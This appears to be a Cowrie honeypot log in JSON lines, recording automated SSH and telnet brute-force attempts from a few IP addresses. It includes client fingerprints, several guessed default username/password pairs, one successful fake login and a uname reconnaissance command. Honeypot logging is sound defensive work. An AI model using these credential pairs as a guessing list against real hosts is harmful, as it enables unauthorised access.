{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:52.367304Z","src_ip":"45.156.87.204","session":"a156cf2e3072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:53.453121Z","src_ip":"45.156.87.204","session":"a156cf2e3072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35018,"dst_ip":"159.203.135.109","dst_port":22,"session":"df55a4ba0468","protocol":"ssh","message":"New connection: 45.156.87.204:35018 (159.203.135.109:22) [session: df55a4ba0468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:55.604129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:55.609223Z","src_ip":"45.156.87.204","session":"df55a4ba0468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:55.691808Z","src_ip":"45.156.87.204","session":"df55a4ba0468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:55.941760Z","src_ip":"45.156.87.204","session":"df55a4ba0468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00128650665283,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:56.404705Z","src_ip":"152.42.224.71","session":"f4d8bd458061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:57.027155Z","src_ip":"45.156.87.204","session":"df55a4ba0468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35024,"dst_ip":"159.203.135.109","dst_port":22,"session":"8212e8e834ab","protocol":"ssh","message":"New connection: 45.156.87.204:35024 (159.203.135.109:22) [session: 8212e8e834ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:59.143595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:59.346543Z","src_ip":"45.156.87.204","session":"8212e8e834ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:59.350041Z","src_ip":"45.156.87.204","session":"8212e8e834ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58240,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80312570e8f","protocol":"telnet","message":"New connection: 152.42.224.71:58240 (10.17.0.5:23) [session: b80312570e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:59.484742Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:59.836975Z","src_ip":"45.156.87.204","session":"8212e8e834ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:00.924351Z","src_ip":"45.156.87.204","session":"8212e8e834ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58254,"dst_ip":"10.17.0.5","dst_port":23,"session":"08f0bda44fb2","protocol":"telnet","message":"New connection: 152.42.224.71:58254 (10.17.0.5:23) [session: 08f0bda44fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:02.926753Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53956,"dst_ip":"159.203.135.109","dst_port":22,"session":"92f935b74b5a","protocol":"ssh","message":"New connection: 45.156.87.204:53956 (159.203.135.109:22) [session: 92f935b74b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.029864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.042993Z","src_ip":"45.156.87.204","session":"92f935b74b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.128091Z","src_ip":"45.156.87.204","session":"92f935b74b5a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.379148Z","src_ip":"45.156.87.204","session":"92f935b74b5a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.648675Z","src_ip":"45.156.87.204","session":"92f935b74b5a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.653141Z","src_ip":"45.156.87.204","session":"92f935b74b5a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.740763Z","src_ip":"45.156.87.204","session":"92f935b74b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:03.751941Z","src_ip":"45.156.87.204","session":"92f935b74b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36696,"dst_ip":"10.17.0.5","dst_port":23,"session":"426010ac6431","protocol":"telnet","message":"New connection: 152.42.224.71:36696 (10.17.0.5:23) [session: 426010ac6431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:06.245183Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53958,"dst_ip":"159.203.135.109","dst_port":22,"session":"401132cd8b1d","protocol":"ssh","message":"New connection: 45.156.87.204:53958 (159.203.135.109:22) [session: 401132cd8b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:06.716018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:06.722456Z","src_ip":"45.156.87.204","session":"401132cd8b1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:06.859539Z","src_ip":"45.156.87.204","session":"401132cd8b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:07.368441Z","src_ip":"45.156.87.204","session":"401132cd8b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:08.458786Z","src_ip":"45.156.87.204","session":"401132cd8b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53962,"dst_ip":"159.203.135.109","dst_port":22,"session":"473acf39c271","protocol":"ssh","message":"New connection: 45.156.87.204:53962 (159.203.135.109:22) [session: 473acf39c271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:10.595151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:10.600777Z","src_ip":"45.156.87.204","session":"473acf39c271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:10.684431Z","src_ip":"45.156.87.204","session":"473acf39c271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:10.938842Z","src_ip":"45.156.87.204","session":"473acf39c271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:12.145987Z","src_ip":"45.156.87.204","session":"473acf39c271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36710,"dst_ip":"10.17.0.5","dst_port":23,"session":"e964d2408a6d","protocol":"telnet","message":"New connection: 152.42.224.71:36710 (10.17.0.5:23) [session: e964d2408a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:13.306654Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":36934,"dst_ip":"159.203.135.109","dst_port":22,"session":"003d4e34d5f0","protocol":"ssh","message":"New connection: 47.237.167.49:36934 (159.203.135.109:22) [session: 003d4e34d5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:13.448214Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48408,"dst_ip":"159.203.135.109","dst_port":22,"session":"62d62d01c3a4","protocol":"ssh","message":"New connection: 45.156.87.204:48408 (159.203.135.109:22) [session: 62d62d01c3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:14.162623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:14.175639Z","src_ip":"45.156.87.204","session":"62d62d01c3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:14.266603Z","src_ip":"45.156.87.204","session":"62d62d01c3a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:14.840883Z","src_ip":"45.156.87.204","session":"62d62d01c3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:15.926901Z","src_ip":"45.156.87.204","session":"62d62d01c3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48418,"dst_ip":"159.203.135.109","dst_port":22,"session":"3479a4e404c8","protocol":"ssh","message":"New connection: 45.156.87.204:48418 (159.203.135.109:22) [session: 3479a4e404c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:18.132908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:18.140272Z","src_ip":"45.156.87.204","session":"3479a4e404c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:18.229854Z","src_ip":"45.156.87.204","session":"3479a4e404c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:18.484399Z","src_ip":"45.156.87.204","session":"3479a4e404c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00124979019165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:18.761780Z","src_ip":"152.42.224.71","session":"3ec9b270c2a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:19.659497Z","src_ip":"45.156.87.204","session":"3479a4e404c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48424,"dst_ip":"159.203.135.109","dst_port":22,"session":"d81a0d4f51d9","protocol":"ssh","message":"New connection: 45.156.87.204:48424 (159.203.135.109:22) [session: d81a0d4f51d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:21.569298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:21.577813Z","src_ip":"45.156.87.204","session":"d81a0d4f51d9","protocol":"ssh"}
